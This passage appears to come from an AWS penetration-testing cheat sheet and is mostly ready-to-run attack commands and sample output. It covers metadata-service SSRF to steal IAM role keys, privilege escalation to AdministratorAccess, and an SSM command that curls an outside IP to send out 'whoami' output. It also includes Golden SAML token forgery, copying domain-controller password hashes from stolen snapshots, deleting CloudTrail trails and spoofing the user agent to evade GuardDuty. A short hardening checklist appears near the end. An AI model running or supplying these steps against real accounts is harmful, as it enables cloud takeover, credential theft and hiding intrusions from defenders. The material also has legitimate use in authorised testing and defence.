requirements.txt $ python s3-objects-check.py -h $ python s3-objects-check.py -p whitebox-profile -e blackbox-profile ``` * [cloudsplaining](https://github.com/salesforce/cloudsplaining) - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report ```powershell $ pip3 install --user cloudsplaining $ cloudsplaining download --profile myawsprofile $ cloudsplaining scan --input-file default.json ``` * [weirdAAL](https://github.com/carnal0wnage/weirdAAL/wiki) - AWS Attack Library ```powershell python3 weirdAAL.py -m ec2_describe_instances -t demo python3 weirdAAL.py -m lambda_get_account_settings -t demo python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' -t yolo ``` * [cloudmapper](https://github.com/duo-labs/cloudmapper.git) - CloudMapper helps you analyze your Amazon Web Services (AWS) environments ```powershell git clone https://github.com/duo-labs/cloudmapper.git # sudo yum install autoconf automake libtool python3-devel.x86_64 python3-tkinter python-pip jq awscli # You may additionally need "build-essential" sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq awscli pipenv install --skip-lock pipenv shell report: Generate HTML report. Includes summary of the accounts and audit findings. iam_report: Generate HTML report for the IAM information of an account. audit: Check for potential misconfigurations. collect: Collect metadata about an account. find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges ``` * [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBS's "public" mode * [NetSPI/AWS Consoler](https://github.com/NetSPI/aws_consoler) - Convert AWS Credentials into a console access ## AWS Patterns | Service | URL | |-------------|--------| | s3 | https://{user_provided}.s3.amazonaws.com | | cloudfront | https://{random_id}.cloudfront.net | | ec2 | ec2-{ip-seperated}.compute-1.amazonaws.com | | es | https://{user_provided}-{random_id}.{region}.es.amazonaws.com | | elb | http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 | | elbv2 | https://{user_provided}-{random_id}.{region}.elb.amazonaws.com | | rds | mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 | | rds | postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 | | route 53 | {user_provided} | | execute-api | https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} | | cloudsearch | https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com | | transfer | sftp://s-{random_id}.server.transfer.{region}.amazonaws.com | | iot | mqtt://{random_id}.iot.{region}.amazonaws.com:8883 | | iot | https://{random_id}.iot.{region}.amazonaws.com:8443 | | iot | https://{random_id}.iot.{region}.amazonaws.com:443 | | mq | https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162 | | mq | ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 | | kafka | b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com | | kafka | {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com | | cloud9 | https://{random_id}.vfs.cloud9.{region}.amazonaws.com | | mediastore | https://{random_id}.data.mediastore.{region}.amazonaws.com | | kinesisvideo | https://{random_id}.kinesisvideo.{region}.amazonaws.com | | mediaconvert | https://{random_id}.mediaconvert.{region}.amazonaws.com | | mediapackage | https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel | ## AWS - Metadata SSRF > AWS released additional security defences against the attack. :warning: Only working with IMDSv1. Enabling IMDSv2 : `aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required`. In order to usr IMDSv2 you must provide a token. ```powershell export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"` curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data" ``` ### Method for Elastic Cloud Compute (EC2) Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/ 1. Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/ ```powershell ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hostname iam/ identity-credentials/ instance-action instance-id ``` 2. Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/ 3. Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/ ```powershell { "Code" : "Success", "LastUpdated" : "2019-07-31T23:08:10Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIA54BL6PJR37YOEP67", "SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2", "Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv", "Expiration" : "2019-08-01T05:20:30Z" } ``` ### Method for Container Service (Fargate) 1. Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from https://awesomeapp.com/download?file=/proc/self/environ ```powershell JAVA_ALPINE_VERSION=8.212.04-r0 HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447 AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2 ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd ``` 2. Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447 ```powershell { "RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role", "AccessKeyId": "ASIA54BL6PJR2L75XHVS", "SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt", "Token": "FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtLMoWCEyYklw6YX85koqNwKMYrP6ymcjv4X2gF5enPi9/Dx6m/1TTFIwMzZ3tf4V3rWP3HDt1ea6oygzTrWLvfdp57sKj+2ccXI+WWPDZh3eJr4Wt4JkiiXrWANn7Bx3BUj9ZM11RXrKRCvhrxdrMLoewRkWmErNEOFgbaCaT8WeOkzqli4f+Q36ZerT2V+FJ4SWDX1CBsimnDAMAdTIRSLFxVBBwW8171OHiBOYAMK2np1xAW1d3UCcZcGKKZTjBee2zs5+Rf5Nfkoq+j7GQkmD2PwCeAf0RFETB5EVePNtlBWpzfOOVBtsTUTFewFfx5cyNsitD3C2N93WR59LX/rNxyncHGDUP/6UPlasOcfzAaG738OJQmWfQTR0qksHIc2qiPtkstnNndh76is+r+Jc4q3wOWu2U2UBi44Hj+OS2UTpMAwc/MshIiGsUOrBQdPqcLLdAxKpUNTdSQNLg5wv4f2OrOI8/sneV58yBRolBz8DZoH8wohtLXpueDt8jsVSVLznnMOOe/4ehHE2Nt+Fy+tjaY5FUi/Ijdd5IrIdIvWFHY1XcPopUFYrDqr0yuZvX1YddfIcfdbmxf274v69FuuywXTo7cXk1QTMYZWlD/dPI/k6KQeO446UrHT9BJxcJMpchAIVRpI7nVKkSDwku1joKUG7DOeycuAbhecVZG825TocL0ks2yXPnIdvckAaU9DZf+afIV3Nxv3TI4sSX1npBhb2f/8C31pv8VHyu2NiN5V6OOHzZijHsYXsBQ==", "Expiration": "2019-09-18T04:05:59Z" } ``` ### AWS API calls that return credentials - chime:createapikey - [codepipeline:pollforjobs](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) - [cognito-identity:getopenidtoken](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdToken.html) - [cognito-identity:getopenidtokenfordeveloperidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdTokenForDeveloperIdentity.html) - [cognito-identity:getcredentialsforidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html) - [connect:getfederationtoken](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html) - [connect:getfederationtokens](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html) - [ecr:getauthorizationtoken](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_GetAuthorizationToken.html) - [gamelift:requestuploadcredentials](https://docs.aws.amazon.com/gamelift/latest/apireference/API_RequestUploadCredentials.html) - [iam:createaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html) - [iam:createloginprofile](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html) - [iam:createservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateServiceSpecificCredential.html) - [iam:resetservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ResetServiceSpecificCredential.html) - [iam:updateaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAccessKey.html) - [lightsail:getinstanceaccessdetails](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetInstanceAccessDetails.html) - [lightsail:getrelationaldatabasemasteruserpassword](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetRelationalDatabaseMasterUserPassword.html) - [rds-db:connect](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) - [redshift:getclustercredentials](https://docs.aws.amazon.com/redshift/latest/APIReference/API_GetClusterCredentials.html) - [sso:getrolecredentials](https://docs.aws.amazon.com/singlesignon/latest/PortalAPIReference/API_GetRoleCredentials.html) - [mediapackage:rotatechannelcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-credentials.html) - [mediapackage:rotateingestendpointcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-ingest_endpoints-ingest_endpoint_id-credentials.html) - [sts:assumerole](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role.html) - [sts:assumerolewithsaml](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-saml.html) - [sts:assumerolewithwebidentity](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html) - [sts:getfederationtoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-federation-token.html) - [sts:getsessiontoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-session-token.html) ## AWS - Shadow Admin ### Admin equivalent permission - AdministratorAccess ```powershell "Action": "*" "Resource": "*" ``` - **ec2:AssociateIamInstanceProfile** : attach an IAM instance profile to an EC2 instance ```powershell aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role --instance-id i-0123456789 ``` - **iam:CreateAccessKey** : create a new access key to another IAM admin account ```powershell aws iam create-access-key –user-name target_user ``` - **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it ```powershell $ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required ``` - **iam:UpdateLoginProfile** : reset other IAM users’ login passwords. ```powershell $ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required ``` - **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses ```powershell $ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess $ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess $ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess ``` - **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities. ```powershell $ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json ``` - **iam:CreatePolicy** : add a stealthy admin policy - **iam:AddUserToGroup** : add into the admin group of the organization. ```powershell $ aws iam add-user-to-group –group-name target_group –user-name my_username ``` - **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account. ```powershell $ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json ``` - **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one. ```powershell $ aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default $ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2 ``` - **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function. ```powershell $ aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip ``` - **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint. ```powershell $ aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub ``` - **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses. - **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account. ```powershell # add ssh key $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456 # execute a reverse shell $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh ``` - **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account. ```powershell $ aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py $ aws lambda invoke –function-name my_function output.txt ``` Example of code.py ```python import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName='my_username', PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) return response ``` * **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account. ```powershell $ aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub ``` ## AWS - Gaining AWS Console Access via API Keys A utility to convert your AWS CLI credentials into AWS console access. ```powershell $> git clone https://github.com/NetSPI/aws_consoler $> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED] 2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments... 2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic. 2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established. 2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session. 2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established. 2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler. 2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated! https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED ``` ## AWS - Enumerate IAM permissions Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam) ```powershell git clone git@github.com:andresriancho/enumerate-iam.git pip install -r requirements.txt ./enumerate-iam.py --access-key AKIA... --secret-key StF0q... 2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..." 2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked! 2019-05-10 15:58:01,537 - 21345 - [INFO] -- { "RoleDetailList": [ { "Tags": [], "AssumeRolePolicyDocument": { "Version": "2008-10-17", "Statement": [ { ... 2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked! 2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked! 2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked! 2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked! 2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked! ``` ## AWS - Mount EBS volume to EC2 Linux :warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken. 1. Head over to EC2 –> Volumes and create a new volume of your preferred size and type. 2. Select the created volume, right click and select the "attach volume" option. 3. Select the instance from the instance text box as shown below : `attach ebs volume` ```powershell aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone aws ec2 attach-volume –-volume-id volume_id –-instance-id instance_id --device device ``` 4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk` 5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf` 6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf` 7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume` 8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/` 9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .` ## AWS - Copy EC2 using AMI Image First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1` ```powershell # create a new image for the instance-id $ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1 # add key to AWS $ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1 # create ec2 using the previously created AMI, use the same security group and subnet to connect easily. $ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1 # now you can check the instance aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 # If needed : edit groups aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1 # be a good guy, clean our instance to avoid any useless cost aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` ## AWS - Instance Connect - Push an SSH key to EC2 instance ```powershell # https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/ $ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}" $ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds ``` ## AWS - Lambda - Extract function's code ```powershell # https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed $ aws lambda list-functions --profile uploadcreds $ aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds $ wget -O lambda-function.zip url-from-previous-query --profile uploadcreds ``` ## AWS - SSM - Command execution :warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled. SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs): * Windows Server 2008-2012 R2 AMIs published in November 2016 or later * Windows Server 2016 and 2019 * Amazon Linux * Amazon Linux 2 * Ubuntu Server 16.04 * Ubuntu Server 18.04 * Amazon ECS-Optimized ```powershell $ aws ssm describe-instance-information --profile stolencreds --region eu-west-1 $ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds $ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds e.g: $ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1 ``` ## AWS - Golden SAML Attack https://www.youtube.com/watch?v=5dj4vOqqGZw https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/ > Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements. Requirement: * Token-signing private key (export from personal store using Mimikatz) * IdP public certificate * IdP name * Role name (role to assume) ```powershell $ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml $ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 ``` ## AWS - Shadow Copy attack Prerequisite: * EC2:CreateSnapshot * CloudCopy - https://github.com/Static-Flow/CloudCopy 1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions 2. Run `"Describe-Instances"` and show in list for attacker to select 3. Run `"Create-Snapshot"` on volume of selected instance 4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account 5. Load AWS CLI with Attacker Credentials 6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot 7. Ssh run `"sudo mkdir /windows"` 8. Ssh run `"sudo mount /dev/xvdf1 /windows/"` 9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"` 10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"` 11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"` 12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"` 13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"` 14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path ## Disable CloudTrail ```powershell $ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator ``` Disable monitoring of events from global services ```powershell $ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event ``` Disable Cloud Trail on specific regions ```powershell $ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west ``` ## Cover tracks by obfuscating Cloudtrail logs and Guard Duty :warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent. Pacu bypass this problem by defining a custom User-Agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473) ```python boto3_session = boto3.session.Session() ua = boto3_session._session.user_agent() if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If the local OS is Kali/Parrot/Pentoo Linux # GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that... self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...') ``` ## DynamoDB > Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second. * list tables ```bash $ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables { "TableNames": [ "users" ] } ``` * enumerate table content ```bash $ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]' { "password": { "S": "Management@#1@#" }, "username": { "S": "Mgmt" } } ``` ## Security checks Security checks from [DenizParlak/Zeus: AWS Auditing & Hardening Tool](https://github.com/DenizParlak/Zeus) * Identity and Access Management * Avoid the use of the "root" account * Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a console password * Ensure credentials unused for 90 days or greater are disabled * Ensure access keys are rotated every 90 days or less * Ensure IAM password policy requires at least one uppercase letter * Ensure IAM password policy requires at least one lowercase letter * Ensure IAM password policy requires at least one symbol * Ensure IAM password policy requires at least one number * Ensure IAM password policy requires minimum length of 14 or greater * Ensure no root account access key exists * Ensure MFA is enabled for the "root" account * Ensure security questions are registered in the AWS account * Ensure IAM policies are attached only to groups or role * Enable detailed billing * Maintain current contact details * Ensure security contact information is registered * Ensure IAM instance roles are used for AWS resource access from instances * Logging * Ensure CloudTrail is enabled in all regions * Ensure CloudTrail log file validation is enabled * Ensure the S3 bucket CloudTrail logs to is not publicly accessible * Ensure CloudTrail trails are integrated with CloudWatch Logs * Ensure AWS Config is enabled in all regions * Ensure S3 bucket access logging is enabled on the CloudTrail S3 bucket * Ensure CloudTrail logs are encrypted at rest using KMS CMKs * Ensure rotation for customer created CMKs is enabled * Networking * Ensure no security groups allow ingress from 0.0.0.0/0 to port 22 * Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389 * Ensure VPC flow logging is enabled in all VPC * Ensure the default security group of every VPC restricts all traffic * Monitoring * Ensure a log metric filter and alarm exist for unauthorized API calls * Ensure a log metric filter and alarm exist for Management Consolesign-in without MFA * Ensure a log metric filter and alarm exist for usage of "root" account * Ensure a log metric filter and alarm exist for IAM policy changes * Ensure a log metric filter and alarm exist for CloudTrail configuration changes * Ensure a log metric filter and alarm exist for AWS Management Console authentication failures * Ensure a log metric filter and alarm exist for disabling or scheduled deletion of customer created CMKs * Ensure a log metric filter and alarm exist for S3 bucket policy changes * Ensure a log metric filter and alarm exist for AWS Config configuration changes * Ensure a log metric filter and alarm exist for security group changes * Ensure a log metric filter and alarm exist for changes to NetworkAccess Control Lists (NACL) * Ensure a log metric filter and alarm exist for changes to network gateways * Ensure a log metric filter and alarm exist for route table changes * Ensure a log metric filter and alarm exist for VPC changes ## AWSome Pentesting Cheatsheet * Created by pop3ret ## Searching for open buckets ``` https://buckets.grayhatwarfare.com/ ``` ## ARN A number to identify an object in AWS Example ``` arn:aws:iam:100:user/admin ``` 1. Field -> ARN 2. Field -> Type, most of time will be AWS 3. Field -> service, in this case IAM 4. Field -> User ID 5. Field -> entity identifier ## IAM * It's assumed that we have gain access to the AWS Credentials * We can see if we have permissions using [Amazon's policy simulator](**[https://policysim.aws.amazon.com/](https://policysim.aws.amazon.com/)**) * Always look for policies and roles with the * symbol. * See which user do not have MFA enabled * User enumeration in IAM Panel and group enumeration * We can also enumerate roles from the same interface * Root user is super admin ## Configure AWS cli ``` aws configure ``` Or configure it using a profile ``` aws configure --profile example_name ``` The credential file is located in `~/.aws/credentials` ## Listing IAM access Keys ``` aws iam list-access-keys ``` ## 1. Enumerating IAM users ### Checking credentials for the user ``` aws sts get-caller-identity ``` ### Listing IAM Users ``` aws iam list-users ``` ### Listing the IAM groups that the specified IAM user belongs to ``` aws iam list-groups-for-user --user-name user-name ``` ### Listing all manages policies that are attached to the specified IAM user ``` aws iam list-attached-user-policies --user-name user-name ``` ### Listing the names of the inline policies embedded in the specified IAM user ``` aws iam list-user-policies --user-name user-name ``` ## 2. Enumerating Groups IAM ### Listing IAM Groups ``` aws iam list-groups ``` ### Listing all managed policies that are attached to the specified IAM Group ``` aws iam list-attached-group-policies --group-name group-name ``` ### Listing the names of the inline policies embedded in the specified IAM Group ``` aws iam list-group-policies --group-name group name ``` ## 3. Enumeratig Roles ### Listing IAM Roles ``` aws iam list-roles ``` ### Listsing all managed policies that are attached to the specified IAM role ``` aws iam list-attached-role-policies --role-name role-name ``` ### Listing the names of the inline policies embedded in the specified IAM role ``` aws iam list-role-policies --role-name role-name ``` ## 4. Enumerating Policies ### Listing of IAM Policies ``` aws iam list-policies ``` ### Retrieving information about the specified managed policy ``` aws iam get-policy --policy-arn policy-arn ``` ### Listing information about the versions of the specified manages policy ``` aws iam list-policy-versions --policy-arn policy-arn ``` ### Retrieving information about the specific version of the specified managed policy ``` aws iam get-policy-version --policy-arn policy-arn --version-id version-id ``` ### Retrieving the specified inline policy document that is embedded on the specified IAM user / group / role ``` aws iam get-user-policy --user-name user-name --policy-name policy-name aws iam get-group-policy --group-name group-name --policy-name policy-name aws iam get-role-policy --role-name role-name --policy-name policy-name ``` ## 5. Exploitation Scenario ### General Guidelines * AWS token compromised (Developer machine, phishing etc) and we as attackers will gonna use it. ### Enumerating the owner of the key and initial compromise ``` aws sts get-caller-identity ``` Or specifing a profile ``` aws sts get-caller-identity --profile example_name ``` If you have the password of the 